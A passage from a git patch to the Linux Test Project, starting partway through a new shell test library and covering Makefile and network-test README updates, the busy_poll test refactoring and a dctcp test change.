+		ret=$((ret|4))
+	fi
+
+	if [ $TST_CONF -gt 0 ]; then
+		ret=$((ret|32))
+	fi
+
+	echo
+	echo "Summary:"
+	echo "passed   $TST_PASS"
+	echo "failed   $TST_FAIL"
+	echo "skipped  $TST_CONF"
+	echo "warnings $TST_WARN"
+
+	exit $ret
+}
+
+tst_inc_res()
+{
+	case "$1" in
+	TPASS) TST_PASS=$((TST_PASS+1));;
+	TFAIL) TST_FAIL=$((TST_FAIL+1));;
+	TBROK) TST_BROK=$((TST_BROK+1));;
+	TWARN) TST_WARN=$((TST_WARN+1));;
+	TCONF) TST_CONF=$((TST_CONF+1));;
+	TINFO) ;;
+	*) tst_brk TBROK "Invalid resm type '$1'";;
+	esac
+}
+
+tst_res()
+{
+	local res=$1
+	shift
+
+	tst_color_enabled
+	local color=$?
+
+	tst_inc_res "$res"
+
+	printf "$TCID $TST_COUNT "
+	tst_print_colored $res "$res: "
+	echo "$@"
+}
+
+tst_brk()
+{
+	local res=$1
+	shift
+
+	tst_res "$res" "$@"
+	tst_do_exit
+}
+
+ROD_SILENT()
+{
+	tst_rod $@ > /dev/null 2>&1
+	if [ $? -ne 0 ]; then
+		tst_brk TBROK "$@ failed"
+	fi
+}
+
+ROD()
+{
+	tst_rod "$@"
+	if [ $? -ne 0 ]; then
+		tst_brk TBROK "$@ failed"
+	fi
+}
+
+EXPECT_PASS()
+{
+	tst_rod "$@"
+	if [ $? -eq 0 ]; then
+		tst_res TPASS "$@ passed as expected"
+	else
+		tst_res TFAIL "$@ failed unexpectedly"
+	fi
+}
+
+EXPECT_FAIL()
+{
+	# redirect stderr since we expect the command to fail
+	tst_rod "$@" 2> /dev/null
+	if [ $? -ne 0 ]; then
+		tst_res TPASS "$@ failed as expected"
+	else
+		tst_res TFAIL "$@ passed unexpectedly"
+	fi
+}
+
+tst_umount()
+{
+	local device="$1"
+	local i=0
+
+	if ! grep -q "$device" /proc/mounts; then
+		tst_res TINFO "The $device is not mounted, skipping umount"
+		return
+	fi
+
+	while [ "$i" -lt 50 ]; do
+		if umount "$device" > /dev/null; then
+			return
+		fi
+
+		i=$((i+1))
+
+		tst_res TINFO "umount($device) failed, try $i ..."
+		tst_res TINFO "Likely gvfsd-trash is probing newly mounted "\
+		              "fs, kill it to speed up tests."
+
+		tst_sleep 100ms
+	done
+
+	tst_res TWARN "Failed to umount($device) after 50 retries"
+}
+
+tst_mkfs()
+{
+	local fs_type=$1
+	local device=$2
+	shift 2
+	local fs_opts="$@"
+
+	if [ -z "$fs_type" ]; then
+		tst_brk TBROK "No fs_type specified"
+	fi
+
+	if [ -z "$device" ]; then
+		tst_brk TBROK "No device specified"
+	fi
+
+	tst_res TINFO "Formatting $device with $fs_type extra opts='$fs_opts'"
+
+	ROD_SILENT mkfs.$fs_type $fs_opts $device
+}
+
+tst_check_cmds()
+{
+	local cmd
+	for cmd in $*; do
+		if ! command -v $cmd > /dev/null 2>&1; then
+			tst_brk TCONF "'$cmd' not found"
+		fi
+	done
+}
+
+tst_is_int()
+{
+	[ "$1" -eq "$1" ] 2>/dev/null
+	return $?
+}
+
+tst_usage()
+{
+	if [ -n "$TST_USAGE" ]; then
+		$TST_USAGE
+	else
+		echo "usage: $0"
+		echo "OPTIONS"
+	fi
+
+	echo "-h      Prints this help"
+	echo "-i n    Execute test n times"
+}
+
+tst_resstr()
+{
+	echo "$TST_PASS$TST_FAIL$TST_CONF"
+}
+
+tst_rescmp()
+{
+	local res=$(tst_resstr)
+
+	if [ "$1" = "$res" ]; then
+		tst_brk TBROK "Test didn't report any results"
+	fi
+}
+
+tst_run()
+{
+	local tst_i
+
+	if [ -n "$TST_TEST_PATH" ]; then
+		for tst_i in $(grep TST_ "$TST_TEST_PATH" | sed 's/.*TST_//; s/[="} \t\/:`].*//'); do
+			case "$tst_i" in
+			SETUP|CLEANUP|TESTFUNC|ID|CNT);;
+			OPTS|USAGE|PARSE_ARGS|POS_ARGS);;
+			NEEDS_ROOT|NEEDS_TMPDIR|NEEDS_DEVICE|DEVICE);;
+			NEEDS_CMDS|NEEDS_MODULE|MODPATH|DATAROOT);;
+			*) tst_res TWARN "Reserved variable TST_$tst_i used!";;
+			esac
+		done
+	fi
+
+	local name
+
+	OPTIND=1
+
+	while getopts "hi:$TST_OPTS" name $TST_ARGS; do
+		case $name in
+		'h') tst_usage; exit 0;;
+		'i') TST_ITERATIONS=$OPTARG;;
+		'?') tst_usage; exit 2;;
+		*) $TST_PARSE_ARGS "$name" "$OPTARG";;
+		esac
+	done
+
+	if ! tst_is_int "$TST_ITERATIONS"; then
+		tst_brk TBROK "Expected number (-i) not '$TST_ITERATIONS'"
+	fi
+
+	if [ "$TST_ITERATIONS" -le 0 ]; then
+		tst_brk TBROK "Number of iterations (-i) must be > 0"
+	fi
+
+	if [ "$TST_NEEDS_ROOT" = 1 ]; then
+		if [ "$(id -ru)" != 0 ]; then
+			tst_brk TCONF "Must be super/root for this test!"
+		fi
+	fi
+
+	tst_check_cmds $TST_NEEDS_CMDS
+
+	if [ "$TST_NEEDS_TMPDIR" = 1 ]; then
+		if [ -z "$TMPDIR" ]; then
+			export TMPDIR="/tmp"
+		fi
+
+		TST_TMPDIR=$(mktemp -d "$TMPDIR/LTP_$TST_ID.XXXXXXXXXX")
+
+		chmod 777 "$TST_TMPDIR"
+
+		TST_STARTWD=$(pwd)
+
+		cd "$TST_TMPDIR"
+	fi
+
+	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
+		if [ -z ${TST_TMPDIR} ]; then
+			tst_brk "Use TST_NEEDS_TMPDIR must be set for TST_NEEDS_DEVICE"
+		fi
+
+		TST_DEVICE=$(tst_device acquire)
+
+		if [ -z "$TST_DEVICE" ]; then
+			tst_brk "Failed to acquire device"
+		fi
+
+		TST_DEVICE_FLAG=1
+	fi
+
+	if [ -n "$TST_NEEDS_MODULE" ]; then
+		for tst_module in "$TST_NEEDS_MODULE" \
+		                  "$LTPROOT/testcases/bin/$TST_NEEDS_MODULE" \
+		                  "$TST_STARTWD/$TST_NEEDS_MODULE"; do
+
+				if [ -f "$tst_module" ]; then
+					TST_MODPATH="$tst_module"
+					break
+				fi
+		done
+
+		if [ -z "$TST_MODPATH" ]; then
+			tst_brk TCONF "Failed to find module '$TST_NEEDS_MODULE'"
+		else
+			tst_res TINFO "Found module at '$TST_MODPATH'"
+		fi
+	fi
+
+	if [ -n "$TST_SETUP" ]; then
+		TST_SETUP_STARTED=1
+		$TST_SETUP
+	fi
+
+	#TODO check that test reports some results for each test function call
+	while [ $TST_ITERATIONS -gt 0 ]; do
+		if [ -n "$TST_CNT" ]; then
+			if type test1 > /dev/null 2>&1; then
+				for tst_i in $(seq $TST_CNT); do
+					local res=$(tst_resstr)
+					$TST_TESTFUNC$tst_i
+					tst_rescmp "$res"
+					TST_COUNT=$((TST_COUNT+1))
+				done
+			else
+				for tst_i in $(seq $TST_CNT); do
+					local res=$(tst_resstr)
+					$TST_TESTFUNC $tst_i
+					tst_rescmp "$res"
+					TST_COUNT=$((TST_COUNT+1))
+				done
+			fi
+		else
+			local res=$(tst_resstr)
+			$TST_TESTFUNC
+			tst_rescmp "$res"
+			TST_COUNT=$((TST_COUNT+1))
+		fi
+		TST_ITERATIONS=$((TST_ITERATIONS-1))
+	done
+
+	tst_do_exit
+}
+
+if TST_TEST_PATH=$(which $0) 2>/dev/null; then
+	if ! grep -q tst_run "$TST_TEST_PATH"; then
+		tst_brk TBROK "Test $0 must call tst_run!"
+	fi
+fi
+
+if [ -z "$TST_ID" ]; then
+	tst_brk TBROK "TST_ID is not defined"
+fi
+export TST_ID="$TST_ID"
+
+if [ -z "$TST_TESTFUNC" ]; then
+	tst_brk TBROK "TST_TESTFUNC is not defined"
+fi
+
+if [ -n "$TST_CNT" ]; then
+	if ! tst_is_int "$TST_CNT"; then
+		tst_brk TBROK "TST_CNT must be integer"
+	fi
+
+	if [ "$TST_CNT" -le 0 ]; then
+		tst_brk TBROK "TST_CNT must be > 0"
+	fi
+fi
+
+if [ -n "$TST_POS_ARGS" ]; then
+	if ! tst_is_int "$TST_POS_ARGS"; then
+		tst_brk TBROK "TST_POS_ARGS must be integer"
+	fi
+
+	if [ "$TST_POS_ARGS" -le 0 ]; then
+		tst_brk TBROK "TST_POS_ARGS must be > 0"
+	fi
+fi
+
+if [ -z "$LTPROOT" ]; then
+	export LTPROOT="$PWD"
+	export TST_DATAROOT="$LTPROOT/datafiles"
+else
+	export TST_DATAROOT="$LTPROOT/testcases/data/$TST_ID"
+fi
+
+TST_ARGS="$@"
+
+while getopts ":hi:$TST_OPTS" tst_name; do
+	case $tst_name in
+	'h') TST_PRINT_HELP=1;;
+	*);;
+	esac
+done
+
+shift $((OPTIND - 1))
+
+if [ -n "$TST_POS_ARGS" ]; then
+	if [ -z "$TST_PRINT_HELP" -a $# -ne "$TST_POS_ARGS" ]; then
+		tst_brk TBROK "Invalid number of positional paramters:"\
+			      "have ($@) $#, expected ${TST_POS_ARGS}"
+	fi
+else
+	if [ -z "$TST_PRINT_HELP" -a $# -ne 0 ]; then
+		tst_brk TBROK "Unexpected positional arguments '$@'"
+	fi
+fi
diff --git a/testcases/misc/Makefile b/testcases/misc/Makefile
index d89cb9c9..fee8dec 100644
--- a/testcases/misc/Makefile
+++ b/testcases/misc/Makefile
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
diff --git a/testcases/misc/crash/Makefile b/testcases/misc/crash/Makefile
index 26350ea..d2c02a6 100644
--- a/testcases/misc/crash/Makefile
+++ b/testcases/misc/crash/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/misc/f00f/Makefile b/testcases/misc/f00f/Makefile
index 7645de4..ef2c3b6 100644
--- a/testcases/misc/f00f/Makefile
+++ b/testcases/misc/f00f/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/misc/math/Makefile b/testcases/misc/math/Makefile
index 991ff5a..f0becf6 100644
--- a/testcases/misc/math/Makefile
+++ b/testcases/misc/math/Makefile
@@ -17,11 +17,15 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_DIRS		:= abs float
+endif
+
 include $(top_srcdir)/include/mk/env_pre.mk
 
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/misc/math/abs/abs01.c b/testcases/misc/math/abs/abs01.c
index 7ee6d3d..c0659fa 100644
--- a/testcases/misc/math/abs/abs01.c
+++ b/testcases/misc/math/abs/abs01.c
@@ -53,7 +53,6 @@
 char *TCID = "abs01";
 int local_flag = PASSED;
 int block_number;
-int errno;
 FILE *temp;
 int TST_TOTAL = 1;
 
diff --git a/testcases/misc/math/atof/atof01.c b/testcases/misc/math/atof/atof01.c
index 9a45245..6e8ca8b 100644
--- a/testcases/misc/math/atof/atof01.c
+++ b/testcases/misc/math/atof/atof01.c
@@ -57,7 +57,6 @@
 
 int local_flag = PASSED;
 int block_number;
-int errno;
 FILE *temp;
 int TST_TOTAL = 1;
 
diff --git a/testcases/misc/math/float/Makefile b/testcases/misc/math/float/Makefile
index f52f203..79dda35 100644
--- a/testcases/misc/math/float/Makefile
+++ b/testcases/misc/math/float/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir	?= ../../../..
diff --git a/testcases/misc/math/float/bessel/Makefile b/testcases/misc/math/float/bessel/Makefile
index df31dc4..8dd36a9 100644
--- a/testcases/misc/math/float/bessel/Makefile
+++ b/testcases/misc/math/float/bessel/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/misc/math/float/exp_log/Makefile b/testcases/misc/math/float/exp_log/Makefile
index 22386a3..cf4f4c4 100644
--- a/testcases/misc/math/float/exp_log/Makefile
+++ b/testcases/misc/math/float/exp_log/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/misc/math/float/iperb/Makefile b/testcases/misc/math/float/iperb/Makefile
index 6b538d1..aef8202 100644
--- a/testcases/misc/math/float/iperb/Makefile
+++ b/testcases/misc/math/float/iperb/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/misc/math/float/power/Makefile b/testcases/misc/math/float/power/Makefile
index b489e69..4d08dd2 100644
--- a/testcases/misc/math/float/power/Makefile
+++ b/testcases/misc/math/float/power/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/misc/math/float/tfloat.h b/testcases/misc/math/float/tfloat.h
index fb0eda4..50cb73d 100644
--- a/testcases/misc/math/float/tfloat.h
+++ b/testcases/misc/math/float/tfloat.h
@@ -31,7 +31,7 @@
 #include <limits.h>
 #include <errno.h>
 #include <string.h>
-#include <wait.h>
+#include <sys/wait.h>
 /*extern char *sys_errlist[ ];*/
 
 #ifdef __MATH__
diff --git a/testcases/misc/math/float/trigo/Makefile b/testcases/misc/math/float/trigo/Makefile
index 4abf9f9..39f465d 100644
--- a/testcases/misc/math/float/trigo/Makefile
+++ b/testcases/misc/math/float/trigo/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/misc/math/nextafter/nextafter01.c b/testcases/misc/math/nextafter/nextafter01.c
index 0f272e0..f4b212d 100644
--- a/testcases/misc/math/nextafter/nextafter01.c
+++ b/testcases/misc/math/nextafter/nextafter01.c
@@ -47,7 +47,6 @@
 
 int local_flag = PASSED;
 int block_number;
-int errno;
 FILE *temp;
 int TST_TOTAL = 1;
 
diff --git a/testcases/network/.gitignore b/testcases/network/.gitignore
index 63d6361..d4ed925 100644
--- a/testcases/network/.gitignore
+++ b/testcases/network/.gitignore
@@ -16,10 +16,8 @@
 /nfs/nfs_stress/nfs01_open_files
 /nfs/nfs_stress/nfs04_create_file
 /nfs/nfs_stress/nfs05_make_tree
-/nfs/nfs_fsstress/fsstress
 /nfs/nfslock01/nfs_flock
 /nfs/nfslock01/nfs_flock_dgen
-/nfs/nfslock01/nfs_flock_frk
 /nfsv4/acl/acl1
 /nfsv4/locks/locktests
 /rpc/basic_tests/rpc01/rpc1
diff --git a/testcases/network/Makefile b/testcases/network/Makefile
index adcdc62..69901a7 100644
--- a/testcases/network/Makefile
+++ b/testcases/network/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
@@ -35,6 +35,10 @@
 
 RM			+= -r
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_DIRS		+= lib6 rpc sockets
+endif
+
 $(INSTALL_TARGETS): | generate
 
 .PHONY: generate
diff --git a/testcases/network/README.md b/testcases/network/README.md
index 4ddba31..ebaab99 100644
--- a/testcases/network/README.md
+++ b/testcases/network/README.md
@@ -1,17 +1,24 @@
 # LTP Network Tests
 
 ## Pre-requisites
-Enable all the networking services on both client and server machines:
-rshd, nfsd, fingerd.
+Enable all the networking services on test machine(s): rshd, nfsd, fingerd.
 
-## Server Configuration
-* Verify that the below daemon services are running. If not, please install
-and start them:
-rsh-server, telnet-server, finger-server, rdist, rsync, dhcp-server, http-server.
+## Single Host Configuration
 
-Note: If any of the above daemon is not running on server, the test related to
-that service running from client will fail.
+It is a default configuration ('RHOST' is not defined). LTP adds 'ltp_ns'
+network namespace and auto-configure 'veth' pair according to LTP network
+environment variables.
 
+## Two Host Configuration
+
+This setup requires 'RHOST' environment variable to be set properly and
+configured SSH or RSH (default) access to a remote host.
+
+The 'RHOST' variable name must be set to the hostname of the server
+(test management link) and PASSWD should be set to the root password
+of the remote server.
+
+In order to have RSH access:
 * Edit the "/root/.rhosts" file. Please note that the file may not exist,
 so you must create one if it does not. You must add the fully qualified
 hostname of the machine you are testing on to this file. By adding the test
@@ -34,7 +41,15 @@
 for i in rlogin rsh rexec; do echo $i >> /etc/securetty; done
 ```
 
-## FTP setup
+## Server Services Configuration
+Verify that the below daemon services are running. If not, please install
+and start them:
+rsh-server, telnet-server, finger-server, rdist, rsync, dhcp-server, http-server.
+
+Note: If any of the above daemon is not running on server, the test related to
+that service running from client will fail.
+
+### FTP setup
 * In “/etc/ftpusers” [or vi /etc/vsftpd.ftpusers], comment the line containing
 “root” string. This file lists all those users who are not given access to do ftp
 on the current system.
@@ -44,28 +59,16 @@
 Otherwise, ftp,rlogin & telnet fails for ‘root’ user & hence needs to be
 executed using ‘test’ user to get successful results.
 
-## NFS setup
-* In “/etc/exports“, add the following:
-
-```
-/ <local_machine_ip>/255.255.255.0(rw,no_root_squash,sync)
-```
-
-* Then run “exportfs” to get a list of exported file system.
-
 ## LTP setup
-Install LTP testsuite on both client and server machines.
-Make sure testcases and network tools are in PATH, e.g.:
+Install LTP testsuite. In case of two hosts configuration, make sure LTP is installed
+on both client and server machines.
+
+Testcases and network tools must be in PATH, e.g.:
 
 ```sh
 export PATH=/opt/ltp/testcases/bin:/usr/bin:$PATH
 ```
-
-The RHOST variable name should be set to the hostname of the server
-(test management link) and PASSWD should be set to the root password
-of the remote server.
-
-Default values for all network variables are set in testcases/lib/test_net.sh.
+Default values for all LTP network variables are set in testcases/lib/test_net.sh.
 If you need to override some parameters please export them before test run or
 specify them when running ltp-pan or testscripts/network.sh.
 
diff --git a/testcases/network/busy_poll/Makefile b/testcases/network/busy_poll/Makefile
index 4fad061..8feb006 100644
--- a/testcases/network/busy_poll/Makefile
+++ b/testcases/network/busy_poll/Makefile
@@ -1,4 +1,4 @@
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -18,6 +18,8 @@
 include $(top_srcdir)/include/mk/testcases.mk
 
 INSTALL_TARGETS		:= busy_poll01.sh \
-			   busy_poll02.sh
+			   busy_poll02.sh \
+			   busy_poll03.sh \
+			   busy_poll_lib.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/busy_poll/busy_poll01.sh b/testcases/network/busy_poll/busy_poll01.sh
index 2d48339..fb2bb52 100755
--- a/testcases/network/busy_poll/busy_poll01.sh
+++ b/testcases/network/busy_poll/busy_poll01.sh
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,17 +20,11 @@
 TST_TOTAL=1
 TCID="busy_poll01"
 
-# tst_netload() parameters
-clients_num=2
-client_requests=500000
-# num of requests after which TCP connection is closed
-max_requests=500000
-
 . test_net.sh
+. busy_poll_lib.sh
 
 cleanup()
 {
-	tst_rhost_run -c "pkill -9 tcp_fastopen\$"
 	tst_rmdir
 
 	sysctl -q -w net.core.busy_read=$busy_read_old
@@ -41,17 +34,6 @@
 	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
 }
 
-
-tst_require_root
-
-tst_kvercmp 3 11 0
-[ $? -eq 0 ] && tst_brkm TCONF "test must be run with kernel 3.11 or newer"
-
-if [ ! -f "/proc/sys/net/core/busy_read" -a \
-     ! -f "/proc/sys/net/core/busy_poll" ]; then
-	tst_brkm TCONF "busy poll not configured, CONFIG_NET_RX_BUSY_POLL"
-fi
-
 set_busy_poll()
 {
 	local value=${1:-"0"}
@@ -62,8 +44,6 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-tst_check_cmds pkill sysctl
-
 tst_tmpdir
 
 busy_read_old="$(cat /proc/sys/net/core/busy_read)"
@@ -78,9 +58,7 @@
 for x in 50 0; do
 	tst_resm TINFO "set low latency busy poll to $x"
 	set_busy_poll $x
-	tst_netload $(tst_ipaddr rhost) res_$x TFO || \
-		tst_brkm TBROK "netload() failed"
-	tst_resm TINFO "time spent is '$(cat res_$x)' ms"
+	tst_netload -H $(tst_ipaddr rhost) -d res_$x
 done
 
 poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
diff --git a/testcases/network/busy_poll/busy_poll02.sh b/testcases/network/busy_poll/busy_poll02.sh
index 40dff7e..7074334 100755
--- a/testcases/network/busy_poll/busy_poll02.sh
+++ b/testcases/network/busy_poll/busy_poll02.sh
@@ -1,6 +1,5 @@
 #!/bin/sh
-
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -21,33 +20,17 @@
 TST_TOTAL=1
 TCID="busy_poll02"
 
-# tst_netload() parameters
-clients_num=2
-client_requests=500000
-# num of requests after which TCP connection is closed
-max_requests=500000
-
 . test_net.sh
+. busy_poll_lib.sh
 
 cleanup()
 {
-	tst_rhost_run -c "pkill -9 tcp_fastopen\$"
 	tst_rmdir
 
 	sysctl -q -w net.core.busy_poll=$busy_poll_old
 	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
 }
 
-tst_require_root
-
-tst_kvercmp 3 11 0
-[ $? -eq 0 ] && tst_brkm TCONF "test must be run with kernel 3.11 or newer"
-
-if [ ! -f "/proc/sys/net/core/busy_read" -a \
-     ! -f "/proc/sys/net/core/busy_poll" ]; then
-	tst_brkm TCONF "busy poll not configured, CONFIG_NET_RX_BUSY_POLL"
-fi
-
 set_busy_poll()
 {
 	local value=${1:-"0"}
@@ -55,8 +38,6 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-tst_check_cmds pkill sysctl
-
 tst_tmpdir
 
 busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
@@ -68,9 +49,7 @@
 for x in 50 0; do
 	tst_resm TINFO "set low latency busy poll to $x per socket"
 	set_busy_poll $x
-	tst_netload $(tst_ipaddr rhost) res_$x TFO -b $x || \
-		tst_brkm TBROK "netload() failed"
-	tst_resm TINFO "time spent is '$(cat res_$x)' ms"
+	tst_netload -H $(tst_ipaddr rhost) -d res_$x -b $x
 done
 
 poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
diff --git a/testcases/network/busy_poll/busy_poll03.sh b/testcases/network/busy_poll/busy_poll03.sh
new file mode 100755
index 0000000..4ab93dc
--- /dev/null
+++ b/testcases/network/busy_poll/busy_poll03.sh
@@ -0,0 +1,63 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+#
+
+TST_TOTAL=1
+TCID="busy_poll03"
+
+. test_net.sh
+. busy_poll_lib.sh
+
+cleanup()
+{
+	tst_rmdir
+
+	sysctl -q -w net.core.busy_poll=$busy_poll_old
+	tst_rhost_run -c "sysctl -q -w net.core.busy_poll=$rbusy_poll_old"
+}
+
+set_busy_poll()
+{
+	local value=${1:-"0"}
+	ROD_SILENT sysctl -q -w net.core.busy_poll=$value
+	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
+}
+
+tst_tmpdir
+
+busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
+rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+
+TST_CLEANUP="cleanup"
+trap "tst_brkm TBROK 'test interrupted'" INT
+
+for x in 50 0; do
+	tst_resm TINFO "set low latency busy poll to $x per socket"
+	set_busy_poll $x
+	tst_netload -H $(tst_ipaddr rhost) -d res_$x -b $x -U
+done
+
+poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
+
+if [ "$poll_cmp" -lt 1 ]; then
+	tst_resm TFAIL "busy poll result is '$poll_cmp' %"
+else
+	tst_resm TPASS "busy poll increased performance by '$poll_cmp' %"
+fi
+
+tst_exit
diff --git a/testcases/network/busy_poll/busy_poll_lib.sh b/testcases/network/busy_poll/busy_poll_lib.sh
new file mode 100755
index 0000000..f7157d2
--- /dev/null
+++ b/testcases/network/busy_poll/busy_poll_lib.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+if tst_kvcmp -lt "3.11"; then
+	tst_brkm TCONF "test must be run with kernel 3.11 or newer"
+fi
+
+if [ ! -f "/proc/sys/net/core/busy_read" -a \
+     ! -f "/proc/sys/net/core/busy_poll" ]; then
+	tst_brkm TCONF "busy poll not configured, CONFIG_NET_RX_BUSY_POLL"
+fi
+
+tst_check_cmds pkill sysctl ethtool
+
+ethtool --show-features $(tst_iface) | grep -q 'busy-poll.*on' || \
+	tst_brkm TCONF "busy poll not supported by driver"
+
+tst_require_root
diff --git a/testcases/network/dctcp/dctcp01.sh b/testcases/network/dctcp/dctcp01.sh
index 7a7211f..7f98f9d 100755
--- a/testcases/network/dctcp/dctcp01.sh
+++ b/testcases/network/dctcp/dctcp01.sh
@@ -29,16 +29,13 @@
 	local alg=$1
 	tst_resm TINFO "setting $alg"
 
-	ROD sysctl -q -w net.ipv4.tcp_congestion_control=$alg
-	tst_rhost_run -s -c "sysctl -q -w net.ipv4.tcp_congestion_control=$alg"
+	tst_set_sysctl net.ipv4.tcp_congestion_control $alg safe
 }
 
 cleanup()
 {
 	if [ "$prev_cong_ctl" ]; then
-		sysctl -q -w net.ipv4.tcp_congestion_control=$prev_alg
-		tst_rhost_run -c \
-			"sysctl -q -w net.ipv4.tcp_congestion_control=$prev_alg"
+		tst_set_sysctl net.ipv4.tcp_congestion_control $prev_alg
 	fi
 	tst_rmdir
 	tc qdisc del dev $(tst_iface) root netem loss 0.03% ecn
@@ -46,8 +43,9 @@
 
 setup()
 {
-	tst_kvercmp 3 18 0
-	[ $? -eq 0 ] && tst_brkm TCONF "test requires kernel 3.18 or newer"
+	if tst_kvcmp -lt "3.18"; then
+		tst_brkm TCONF "test requires kernel 3.18 or newer"
+	fi
 
 	tst_require_root
 	tst_check_cmds ip sysctl tc
@@ -60,7 +58,7 @@
 
 	tst_tmpdir
 
-	prev_alg="$(cat /proc/sys/net/ipv4/tcp_congestion_control)"
+	prev_alg="$(sysctl -n net.ipv4.tcp_congestion_control)"
 }
 
 test_run()
@@ -69,23 +67,13 @@
 
 	set_cong_alg "$def_alg"
 
-	tst_netload $(tst_ipaddr rhost) tfo_res TFO
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "test with '$def_alg' has failed"
-		return
-	fi
-	local res0="$(cat tfo_res)"
